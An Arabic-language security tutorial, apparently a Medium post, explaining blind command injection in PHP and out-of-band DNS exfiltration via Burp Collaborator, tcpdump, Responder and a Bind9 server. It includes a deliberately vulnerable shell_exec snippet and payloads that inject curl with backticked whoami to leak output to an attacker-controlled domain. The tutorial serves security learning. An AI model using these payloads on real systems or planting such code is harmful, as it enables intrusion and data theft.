Out Of Band technique - DNS Exfiltration

Mesh3l
6 min readJun 8, 2021

--

بسم الله الرحمن الرحيم

Mesh3l_911

Blind Command Injection ( White Box ) :

طيب فالبداية نعتبر عندنا تطبيق ويب وبنفس الوقت عندنا السورس كود للتطبيق هذا ولنقل إن السورس كود كان يحتوي على هذا البي اتش بي كود

<?php

shell_exec($_GET[‘id’]);

?>

طيب الكود مثل مانشوف وظيفته بكل بساطة ياخذ اليوزر إنبوت عن طريق القيت باراميتر اللي إسمه

id

ويمررها لدالة

shell_exec

حلو جدا , هنا بإعتبار مانعرف عن الدالة أي شي كل اللي علينا بكل بساطة

shell_exec php manual

وهنا نشوف وظيفة الدالة

طيب بكل اختصار مثل مانشوف الدالة راح تنفذ لنا أوامر عالسستم نقدر نستغلها بطريقة

Unintended

Command Injection

حلو جدا , بس فيه مشكلة , الكود اللي قدامنا مايرجع لنا أي

output

والدالة نفسها ماتسوي

output’s display

فهنا نعرف إن الثغرة

Blind Command Injection

ليش قلنا بلايند ؟ لإن مثل ماشفنا مافيه أي آوت بوت راح يرجع لنا

— — — — — — -

فاصل :

لو كان الكود كذا

<?php

echo(shell_exec($_GET[‘id’]));

?>

أو كانت الدالة المستخدمة

<?php

system($_GET[‘id’]);

?>

هنا ماصارت بلايند , والسبب بكل بساطة فيه آوت بوت راح يرجع لنا

Blind Command Injection ( Black Box ) :

طيب لو كان السيناريو مختلف شوي وماكان عندنا صلاحية تسمح لنا نشوف الكود وش نسوي ؟

بكل بساطة حن جالسين هنا نختبر وجود كوماند انجكشن من عدمه فاللي راح نسويه راح نستخدم بعض الكوماند اللي عن طريقها نعرف بوجود الثغرة بدون مانشوف الآوت بوت

طيب مثل ايش ؟

sleep command

وش وظيفة الكوماند ؟

Delay execution

يعني بكل بساطة مانحتاج أصلا نشوف الاوت بوت لأننا راح نختبر هالمرة عن طريق الوقت المستغرق لتنفيذ العملية

هنا الريكويست طبيعي بدون السلييب كوماند

الباك اند سيرفر رجع لنا ريسبونس خلال

215 millis = 0.215 seconds

طيب الحين نجرب السلييب كوماند ونشوف هل راح يكون فيه تأخير فالتنفيذ أو لا

أنا هنا بختار عشر ثواني تأخير ونجرب ونشوف

هنا الباك اند سيرفر رجع لنا ريسبونس خلال

10245 millis = 10.245 seconds

بكذا تأكدنا إن فيه

Blind Command Injection

بدون مانشوف الكود

Out Of Band technique :

طيب حن الحين إكتشفنا فيه ثغرة بلايند كوماند انجكشن بس مانقدر نستخرج منها أي معلومات مفيدة فإيش الحل ؟

هنا تجي فائدة

OOB

بس فالبداية خلونا نعرف إيش هو أصلا

هنا تعريف بسيط من

Portswigger

Out Of Band technique is sending an attack payload that causes an interaction with an external system we have control over

يعني بالمختصر نحط كوماندز تكون بشكل أو بآخر تتواصل مع سيرفر خارجي يكون تحت تحكمنا

DNS Exfiltration :

طيب إيش هو الـ

DNS Exfiltration

تعريف من

akamai

Data Exchange over the DNS Protocol

بكل إختصار إرسال بيانات من داخل نيتوورك التارقت لخارجها عن طريق الدي ان اس بروتوكول عشان كذا قلنا عنه

Exfiltration

والعكس

Infiltration

طيب الحين عرفنا طريقة نقدر من خلالها نستخرج معلومات تفيدنا عن طريق استغلال الثغرة بالتكنيك المشروح فوق لكن هذا الشي كيف نسويه ؟

أنا راح أشرح أربع طرق

Burb Collaborator :

Burp Collaborator runs as a single server that provides custom implementations of various network services

مجازا , هم مسجلين دومين خاص وعندهم

DNS Server

ورابطين الدومين بالسيرفر بحيث أي عملية طلب للدومين راح تقدر تشوفها عن طريق

DNS Server’s logs or Listening on port 53

( الفكرة براسي أحسن لكن يالله ماعلينا )

راح نسوي شي مشابه تماما ويكون خاص لنا فالطرق الجاية بإذن الله

طيب بعد ما نجمع كل المعلومات اللي عندنا فوق راح يكون إستغلالنا بالطريقة هذي

/bci.php?id=curl ` whoami ` .BurbCollaborator_Domain

نلاحظ هنا وصل لنا

DNS lookup

ولو تلاحظون نتيجة الأمر

whoami

كانت موجودة كـ صب دومين

DNS Exfiltration

طيب أنت ماعندك بيرب برو وش ممكن تسوي ؟ الحين نبدأ نجهز شي خاص فينا وراح أستخدم ثلاث طرق بس فالبداية بشرح وش راح نحتاج قبل الثلاث طرق

AWS ( EC2 , inbound rules ) +Godaddy :

تحتاج يكون عندك سيرفر + دومين خاصة فيك

أنا اخترت امازون كلاود للسيرفر وقودادي للدومين

طيب بعد ماصار عندنا سيرفر نتأكد

Inbound rules > DNS’s port is open

بعدها تروح على صفحة الدومين الخاص فيك

DNS Management > Add HostName > Name Server

الدومين الخاص فيني انا اللي اخترته للشرح

meshal-mohammed.com

لحد الآن كل اللي جالسين نسويه ( مجازا ) ربط الدومين بالسيرفر الخاص فينا

وهذا مقطع فيديو في بدايته يشرح الطريقة بإختصار

من بداية المقطع لين

6:16

https://www.youtube.com/watch?v=p8wbebEgtDk

الحين نرجع للسيرفر ونشرح الثلاث طرق اللي قلت عليها فوق

Tcpdump :

تعريف من

tcpdump.org

Tcpdump is a command line utility that allows you to capture and analyze network traffic going through your system

طيب كل اللي علينا نتصل بالسيرفر ونحط الأمر

sudo tcpdump -n port 53

طيب إيش الفايدة منه ؟ نقدر نشوف لترافيك اللي توصل لبورت الدي ان اس وهو

53

وبكذا خلاص يصير البايلود

/bci.php?id=curl ` whoami ` .meshal-mohammed.com

وزي مانشوف قدرنا ننفذ الكوماند

DNS Exfiltration

الطريقة الثانية

Responder.py :

وظيفة الأداة

This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553

تلاقونها هنا

https://github.com/SpiderLabs/Responder

طيب بعد ماننزلها لازم تشغل الأداة بصلاحيات الروت + تحتاج بايثون 2 لتشغيلها

الكوماند بكل بساطة

sudo python2 Responder.py -I eth0

تبدل

eth0

بالنيتوورك انترفيس الخاصة فيك , تقدر تعرف عن طريق

ifconfig

or

ip a

والنتيجة

الطريقة الأخيرة

Bind9 DNS Server:

فيه توول بسيطة تسوي لك أوتوميشن

تلاقونها هنا

https://github.com/JuxhinDB/OOB-Server

وظيفتها

A simple Bind9 server that acts as an open DNS resolver.

الكوماند :

sudo ./setup meshal-mohammed.com 18.219.249.213

تبدل الدومين والآي بي بالدومين والآي بي الخاصة فيك

بعد ماتنتهي تقدر تراقب الـ

DNS Server’s logs

عن طريق الكوماند

sudo tail -f /var/log/named/named.log

وفالختام زي ماأقول دائما وأبدا لايهمك الشرح قد أكون شرحت شي يتبين لي بعدين إنني كنت غلطان فيه بجزئية بسيطة , اللي أبغاك تستفيده من الموضوع هو إنك تعرف أقل شي الطرق والأساليب وأنت بطريقتك تبحث وتستزيد فالموضوع وبإذن الله الشرح يفيد ولو شخص واحد فقط

اللهم إن أخطأت فمن نفسي والشيطان وإن أصبت فمن كرمك ولطفك

دعواتكم

Happy Testing ^_^

https://www.linkedin.com/in/meshal-almansour
https://twitter.com/mesh3l_911

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Mesh3l
Mesh3l

No responses yet

Write a response